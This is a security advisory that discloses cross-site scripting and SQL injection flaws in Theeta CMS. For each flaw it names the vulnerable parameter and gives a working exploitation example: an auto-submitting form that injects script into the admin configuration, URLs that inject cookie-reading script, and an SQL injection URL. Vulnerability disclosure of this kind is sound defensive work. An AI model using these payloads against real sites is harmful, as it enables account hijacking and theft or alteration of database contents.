Multiple Vulnerabilities in Theeta CMS

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Theeta CMS which could be exploited to perform cross-site scripting and SQL injection attacks.

1) Cross-site scripting vulnerabilities (XSS) in Theeta CMS
1.1 The vulnerability exists due to input sanitation error in the "description" and "keyword" parameters in admin/configuration/configuretransact.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
Exploitation example:
<form action="http://host/admin/configuration/configuretransact.php" method="post" >
<input type="hidden" name="sitename" value="Demo Site" />
<input type="hidden" name="url" value="http://host/" />
<input type="hidden" name="timezone" value="" />
<input type="hidden" name="description" value='descr"><script>alert(document.cookie)</script>' />
<input type="hidden" name="keyword" value='key"><script>alert(document.cookie)</script>' />
<input type="hidden" name="copyright" value="2010" />
<input type="hidden" name="status" value="1" />
<input type="submit" id="upd" name="submit" value="Update Configuration" />
</form>
<script>
document.getElementById('upd').click();
</script>
1.2 The vulnerability exists due to input sanitation error in the "blogid" parameter in userblogs/userarticle.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
http://host/userblogs/userarticle.php?blogid=1"><script>alert(document.cooki e)</script>
1.3 The vulnerability exists due to input sanitation error in the "forum" parameter in community/forum.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
http://host/community/forum.php?forum=1"><script>alert(document.cookie)</scr ipt>&cat=1

2) SQL injection vulnerability in Theeta CMS
The vulnerability exists due to input sanitation errors in the "start" parameter in userblogs/userarticle.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.
Exploitation example:
http://host/userblogs/userarticle.php?blogid=1&start=0'+ANY_SQL_CODE